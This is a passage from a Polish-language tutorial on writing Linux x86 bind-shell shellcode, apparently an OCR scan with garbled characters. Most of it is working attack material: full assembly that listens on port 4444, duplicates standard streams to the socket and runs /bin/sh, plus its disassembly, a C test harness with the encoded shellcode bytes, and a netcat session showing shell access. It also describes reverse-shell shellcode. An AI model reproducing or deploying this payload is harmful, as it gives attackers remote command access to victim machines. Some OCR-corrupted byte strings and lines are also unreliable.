W rejestrze ECX umieszczamy adres argumentow znajdujacych sie na stosie.

Wykonujemy przerwanie programowe int 0x80.

-Funkcia listen().

listen

Xor eax, eax ;eax 0

inc eax ;eax =eax + 1

push eax ;odktadamy warto $¢ 1 na stos

push edx ;odktadamy na stos deskryptor g niazda zwrdocony funkcje socket()
mov al, 102 ;numer wywotania systemowego so cket-call

mov bl, 4 ;numer podfunkcji listen() czyl i4

MoV ecx, esp ;W rejestrze ecx umieszczamy ad res argumentéw na stosie

int 0x80 ;wykonujemy funkcjue listen()

Opis:

Na stosie umieszczamy argument okreslajgcy maksymalng ilos¢

potaczen (1) oraz deskryptor gniazda zwrécony przez funkcje socket().

W rejestrze AL umieszczamy numer wywotlania systemowego socket-call.

W rejestrze BL umieszczamy numer podfunkcji listen() czyli 4.

W rejestrze ECX umieszczamy adres argumentow znajdujacych sie na stosie.
Przerwanie programowe int 0x80 wykonuje funkcje listen().

-Funkcja accept().




;accept

Xor eax, eax ;eax 0

push eax ;push 0

push eax ;push 0

push edx ;odktadamy na stos deskryptor g niazda, zwrdcony funkcje socket()
mov al, 102 ;numer wywotania systemowego so cket-call

inc ebx ;ebx = ebx + 1 (numer podfunkcj i accept() 5)

MoV ecx, esp ;argumenty funkcji accept()

int 0x80 ;wykonujemy funkcje accept()

mov esi, eax ;rejestr ESI przechowuije teraz deskryptor gniazda klienta,

;zwrdcony przez funkcje accept(

Opis:

Drugim i trzecim argumentem funkcji accept() jest wskaznik do struktury sockaddr_in

oraz jej rozmiar. W normalnych warunkach struktura ta wypetniana jest adresem klienta,

ktéry sie z nami potgczyt. W naszym przypadku adres ten nie jest nam do niczego potrzebny
dlatego "zerujemy" rejestr EAX i dwukrotnie umieszczamy jego wartos¢ (0) na stosie jako
drugi i trzeci argument. Nastepnie na stos odktadamy deskryptor gniazda przechowywany

w rejestrze EDX jako pierwszy argument funkcji. W rejestrze AL umieszczamy numer wywotania
systemowego socket-call. Zwiekszamy wartos¢ rejestru EBX o 1 uzyskujac numer podfunkciji
accept() czyli 5. W rejestrze ECX umieszczamy adres argumentéw znajdujacych sie na stosie.
Przerwanie programowe int 0x80 wykonuje funkcje accept().

Rejestr EAX przechowuje wartos¢ zwracang przez funkcje. W przypadku funkcji accept()

jest to deskryptor gniazda klienta. Kopiujemy warto$¢ rejestru EAX do rejestru ESI.

W tym przypadku rejestr ESI uzywany jest jako rejestr danych i teraz on przechowuje
deskryptor gniazda klienta zwr6cony przez funkcje accept().

-Funkcija dup2().

;dup2

XOr eax, eax ;eax 0

mov al, 63 ;numer wywotania systemowego du p2()

mov ebx, esi ;umieszczamy deskryptor gniazda klienta w rejestrze EBX

XOr ecx, ecx ;deskryptor standardowego wej scia/wyj  scia (ecx 0)[0 == STDIN]
int 0x80 ;wykonujemy funkcje dup2()

Opis:

W rejestrze AL umieszczamy numer wywotania systemowego dup2().

W rejestrze EBX umieszczamy deskryptor gniazda klienta.

W rejestrze ECX umieszczamy deskryptor standardowego wejscia/wyjscia.
Wykonujemy funkcje dup2().

Poniewaz zadaniem, ktére chcemy zrealizowac jest duplikacja trzech standardowych
deskryptoréw wejscia/wyjscia (STDIN, STDOUT, STDERR) zatem funkcja dup2()

musi wykonana byé¢ trzykrotnie, za kazdym razem zwiekszajac wartos¢ rejestru ECX o 1.

-Funkcja execve().

;execve
jmp short get_address_string

shellcode:

pop ebx

XOr eax, eax

mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 11

lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 0x80

get_address_string:

call shellcode
db '/bin/shNAAAABBBB'



Opis:

Funkcja execve() byta juz opisywana w poprzednim punkcje tego
artykutu i jest ona niemal identyczna do poprzedniego przyktadu.
Jedyna roznica polega na tym, iz adres ciggu znakéw pobieramy
ze stosu bezposrednio do rejestru EBX, ktory traktowany jest
przez funkcje jako argument zawierajgcy hazwe wykonywanego
programu.

Calos¢ wyglada nastepujgco:
;bind.asm

Section .text
global _start

_start:

:socket

xor ebx, ebx
push ebx

inc ebx

push ebx

inc ebx

push ebx

XOr eax, eax
mov al, 102
dec ebx

mov ecx, esp
int 0x80

mov edx, eax

;bind

XOr eax, eax
push eax
push eax
push eax
push word 23569
mov al, 2
push ax

mov ecx, esp
mov al, 16
push eax
push ecx
push edx
mov al, 102
inc ebx

mov ecx, esp
int 0x80

listen

XOr eax, eax
inc eax

push eax
push edx
mov al, 102
mov bl, 4
mov ecx, esp
int 0x80

;accept

XOr eax, eax
push eax
push eax
push edx
mov al, 102
inc ebx

mov ecx, esp
int 0x80



mov esi, eax

;dup2(esi, 0)
XOr eax, eax
mov al, 63
mov ebx, esi
XOr ecx, ecx
int 0x80

;dup2(esi, 1)
XOr eax, eax
mov al, 63
inc ecx

int 0x80

;dup2(esi, 2)
XOr eax, eax
mov al, 63
inc ecx

int 0x80

;execve
jmp short get_address_string

shellcode:

pop ebx

XOr eax, eax

mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 11

lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 0x80

get_address_string:

call shellcode
db '/bin/shNAAAABBBB'

Uruchamiamy kod powtoki..

[h07@MD5 h07]$ nasm -f elf bind.asm
[h07@MD5 h07]1$ Id -o bind bind.o
[h07@MD5 h07]$ objdump -d bind
bind: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:

8048080: 31db xor  %ebx,%ebx
8048082: 53 push %ebx
8048083: 43 inc  %ebx
8048084 53 push %ebx
8048085: 43 inc  %ebx
8048086: 53 push %ebx
8048087: 31c0 xor  %eax,%eax
8048089: b0 66 mov  $0x66,%al
804808b: 4b dec %ebx
804808c: 89 el mov  %esp,%ecx
804808e: cd 80 int  $0x80
8048090: 89 c2 mov  %eax,%edx
8048092 31c0 xor  %eax,%eax
8048094 50 push %eax
8048095: 50 push %eax

8048096: 50 push %eax



8048097: 66 68 11 5c pushw $0x5c11

804809b: b0 02 mov  $0x2,%al
804809d: 66 50 push %ax

804809f: 89 el mov  %esp,%ecx
80480al: b0 10 mov  $0x10,%eal
80480a3: 50 push %eax

80480a4: 51 push %ecx

80480a5: 52 push %edx

80480a6: b0 66 mov  $0x66,%eal
80480a8: 43 inc  %ebx

80480a9: 89 el mov  %esp,%ecx
80480ab: cd 80 int  $0x80

80480ad: 31c0 xor  %eax,%eax
80480af: 40 inc  %eax

80480b0: 50 push %eax

80480b1: 52 push %edx

80480b2: b0 66 mov  $0x66,%eal
80480b4: b3 04 mov  $0x4,%bl
80480b6: 89 el mov  %esp,%ecx
80480b8: cd 80 int  $0x80

80480ba: 31c0 xor  %eax,%eax
80480bc: 50 push %eax

80480bd: 50 push %eax

80480be: 52 push %edx

80480bf: b0 66 mov  $0x66,%al
80480c1: 43 inc  %ebx

80480c2: 89 el mov  %esp,%ecx
80480c4: cd 80 int  $0x80

80480c6: 89 c6 mov  %eaXx,%esi
80480c8: 31 c0 xor  %eax,%eax
80480ca: b0 3f mov  $0x3f,%al
80480cc: 89 f3 mov  %esi,%ebx
80480ce: 319 xor  %ecx,%ecx
80480d0: cd 80 int  $0x80

80480d2: 31 c0 xor  %eax,%eax
80480d4: b0 3f mov  $0x3f,%eal
80480d6: 41 inc  %ecx

80480d7: cd 80 int  $0x80

80480d9: 31 c0 xor  %eax,%eax
80480db: b0 3f mov  $0x3f,%al
80480dd: 41 inc  %ecx

80480de: cd 80 int  $0x80

80480e0: eb 16 jmp  80480f8 <get_address_string>
080480e2 <shellcode>:

80480e2: 5b pop %ebx

80480e3: 31 c0 xor  %eax,%eax
80480e5: 88 43 07 mov  %al,0x7(%ebx)
80480e8: 89 5b 08 mov  %ebx,0x8(%ebx)
80480eb: 89 43 Oc mov  %eax,0xc(%ebx)
80480ee: b0 Ob mov  $0xb,%al
80480f0: 8d 4b 08 lea 0x8(%ebx),%ecx
80480f3: 8d 53 Oc lea  Oxc(%ebx),%edx
80480f6: cd 80 int  $0x80

080480f8 <get_address_string>:

80480f8: e8 e5 ff ff ff call 80480e2 <shellcode>
80480fd: 2f das

80480fe: 62 69 6e bound %ebp,0x6e(%ecx)
8048101: 2f das

8048102: 73 68 jae 804816c <get_address_string+0x74>
8048104 4e dec %esi

8048105: 41 inc  %ecx

8048106: 41 inc  %ecx

8048107: 41 inc  %ecx



8048108: 41 inc  %ecx

8048109: 42 inc  %edx

804810a: 42 inc  %edx

804810b: 42 inc  %edx

804810c: 42 inc  %edx
/ltest.c

char shellcode[] =

"\x31\xdb\x53\x43\x53\x43\x53\x31\xc0\xb0\x66\x4b\x 89\xe1\xcd\x80\x89"
"\xc2\x31\xc0\x50\x50\x50\x66\x68\x11\x5c\xb0\x02\x 66\x50\x89\xe1\xb0"
"\x10\x50\x51\x52\xb0\x66\x43\x89\xe1\xcd\x80\x31\x c0\x40\x50\x52\xb0"
"\x66\xb3\x04\x89\xe1\xcd\x80\x31\xc0\x50\x50\x52\x b0\x66\x43\x89\xel1"
"\xcd\x80\x89\xc6\x31\xcO\xb0\x3fAx89\xf3\x31\xcO\x cd\x80\x31\xcO\xb0"
"\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\xeb\x 16\x5b\x31\xc0\x88"
"\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x 08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xfAAXAXAx2AAx62\x69\x6e\x2f\x73\x 68";

main()

void (*test)() = (void *)shellcode;
test();

[h07@MD5 h07]$ gcc -o test test.c
[h07@MD5 h07]1$ ./test

[h07@MD5 h07]$ nc -v localhost 4444
MD5 [127.0.0.1] 4444 (krb524) open
whoami

ho7

Po wykonaniu potgczenia na porcie 4444 uzyskalismy dostep do
powtoki systemu. Shellcode w wyzej zaprezentowanym programie test.c
zostat pozbawiony bajtéw rezerwujgcych co zmniejszyto jego rozmiar.
Przy pomocy programu strace mozemy zaobserwowa¢ wywotania
systemowe z ktorych korzysta nasz shellcode..

[h07@MD5 h07]$ strace ./test

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) =0
listen(3, 1) =0

accept(3, 0, NULL)

dup2(4, 0)

dup2(4, 1)

dup2(4, 2)

execve("/bin/sh", ["/bin/sh"], [/

I
BN

0000
Sl SR )

vars ¥*/1) =0

Outro.

Ro6znorodnosc¢ systemow operacyjnych sprawia, ze shellcoding
jest dosc¢ rozwinietg dziedzing programowania. Gtowny mankament
tworzenia kodow powtoki w systemie Windows poruszytem juz na
poczatku tego artykutu. Pamietajmy, ze nie wszystkie systemy
operacyjne bazujg na architekturze procesorow I1A32 (x86).
Wiekszos¢é systemdw Solaris wykorzystuje procesory SPARC
(Scalable Processor Architecture) i jesli chcemy stworzy¢ shellcode
dla takiej platformy to niezbedne staje sie zapoznanie

z assemblerem procesoréw SPARC. W sytuacjach, gdy nie znamy
adresu IP atakowanej maszyny (np.: podczas wykorzystania btedu
w przegladarce internetowej) niezwykle przydatny staje sie



kod powtoki, ktory potaczy sie z naszym komputerem dajac

nam dostep do interpretatora polecen atakowanego systemu.

Shellcode taki nazywany jest kodem powtoki zwrotnej

(shell reverse shellcode) i dziata podobnie do kodu, kt6ry stworzyliSmy.
Roznica polega na tym, ze kod powtoki zwrotnej wykonuje funkcje connect()
zamiast funkcji listen(), bind(), accept(). Zapewne kto$, kto biegle

postuguje sie assemblerem stwierdzi, ze zaprezentowane przeze mnie
kody powtoki mozna ulepszyé by zmniejszy¢ ich rozmiar. Zgadzam

sie z tym ale moim celem bylo wprowadzenie czytelnika w podstawy
tworzenie shellcoddw i majg one charakter dydaktyczny.

EoF;



